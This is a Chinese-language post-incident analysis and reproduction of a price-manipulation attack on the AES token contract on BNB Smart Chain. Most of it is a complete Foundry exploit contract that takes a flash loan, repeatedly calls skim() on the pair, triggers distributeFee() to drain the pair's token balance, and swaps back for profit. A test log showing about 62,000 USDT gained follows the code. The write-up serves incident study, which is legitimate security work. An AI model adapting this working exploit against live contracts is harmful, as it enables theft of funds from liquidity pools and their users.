AES攻击事件分析与复现

2023-01-05

简述

部署在bsc上的aes代币合约 在转账 购买的时候会记录一笔手续费 由于在分发手续费时直接从pair 里扣钱导致可以操纵价格

漏洞分析

攻击hash:https://bscscan.com/tx/0xca4d0d24aa448329b7d4eb81be653224a59e7b081fc7a1c9aad59c5a38d0ae19

image-20230105133125647

攻击者先通过闪电贷购买大量代币,在将代币转入pair,通过攻击合约循环调用skim(),from和to 都是pair 本身,从而操控swapfee total 逐渐变大,最后在调用distributeFee()函数使pair 中的代币减少 从而操控币价,最后砸盘完成获利

漏洞复现

forge test –contracts ./src/test/aesexp.sol -vv -w

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";
import "forge-std/console.sol";


interface IAES is IERC20{
function distributeFee() external;
}

contract aesExploit is DSTest{
IAES aes = IAES(0xdDc0CFF76bcC0ee14c3e73aF630C029fe020F907);
IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
Uni_Pair_V2 pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;



CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public{
cheats.createSelectFork('bsc',23695904);
}

function testFork() public{
assertEq(block.number,23695904);
}

function testExploit() public{
usdt.approve(address(Router), type(uint).max);
aes.approve(address(Router), type(uint).max);
uint256 bal1 = aes.balanceOf(address(pair));
uint256 bal2 = usdt.balanceOf(address(pair));
console.log('pair aes balance is:',bal1/1e18);
console.log('pair usdt balance is:',bal2/1e18);
DVM(dodo).flashLoan(0,100000 * 1e18,address(this),new bytes(1));
// console.log('flashloan success usdt balance is',usdt.balanceOf(address(this))/1e18);
}

function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{
// console.log('flashloan success usdt balance is',usdt.balanceOf(address(this))/1e18);
USDTToAES();
console.log('now pair aes balance is:',aes.balanceOf(address(pair))/1e18);
aes.transfer(address(pair),aes.balanceOf(address(this)));
for (uint i=0;i<=12;i++){
pair.skim(address(pair));
console.log('skiming pair aes balance is',aes.balanceOf(address(pair))/1e18);
}
(uint112 resves0,uint112 resves1,) = pair.getReserves();
console.log('aes reserves is',resves1/1e18);
pair.skim(address(this));
console.log('skim complete now pair aes balance is:',aes.balanceOf(address(pair))/1e18);
console.log('skim complete now self aes balance is:',aes.balanceOf(address(this))/1e18);
aes.distributeFee();
console.log('distributeFee complete now pair aes balance is:',aes.balanceOf(address(pair))/1e18);
pair.sync();
AESToUSDT();
usdt.transfer(address(dodo),100000*1e18);
console.log('attack complete usdt balance is',usdt.balanceOf(address(this))/1e18);





}

function USDTToAES() public{
address[] memory path = new address[](2);
path[0] = address(usdt);
path[1] = address(aes);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
usdt.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
console.log('swap success aes balance is:',aes.balanceOf(address(this))/1e18);
}

function AESToUSDT() public{
address[] memory path = new address[](2);
path[0] = address(aes);
path[1] = address(usdt);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
aes.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
console.log('swap success usdt balance is:',usdt.balanceOf(address(this))/1e18);
}
}

输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Running 2 tests for src/test/aesexp.sol:aesExploit
[PASS] testExploit() (gas: 745937)
Logs:
pair aes balance is: 3976072
pair usdt balance is: 64026
swap success aes balance is: 2179500
now pair aes balance is: 1723921
skiming pair aes balance is 3774613
skiming pair aes balance is 3713093
skiming pair aes balance is 3653418
skiming pair aes balance is 3595533
skiming pair aes balance is 3539384
skiming pair aes balance is 3484920
skiming pair aes balance is 3432090
skiming pair aes balance is 3380845
skiming pair aes balance is 3331138
skiming pair aes balance is 3282921
skiming pair aes balance is 3236151
skiming pair aes balance is 3190784
skiming pair aes balance is 3146778
aes reserves is 1723921
skim complete now pair aes balance is: 1823521
skim complete now self aes balance is: 1280571
distributeFee complete now pair aes balance is: 12275
swap success usdt balance is: 162417
attack complete usdt balance is 62417

[PASS] testFork() (gas: 244)
Test result: ok. 2 passed; 0 failed; finished in 232.87ms

参考链接

https://twitter.com/peckshield/status/1600418002163625984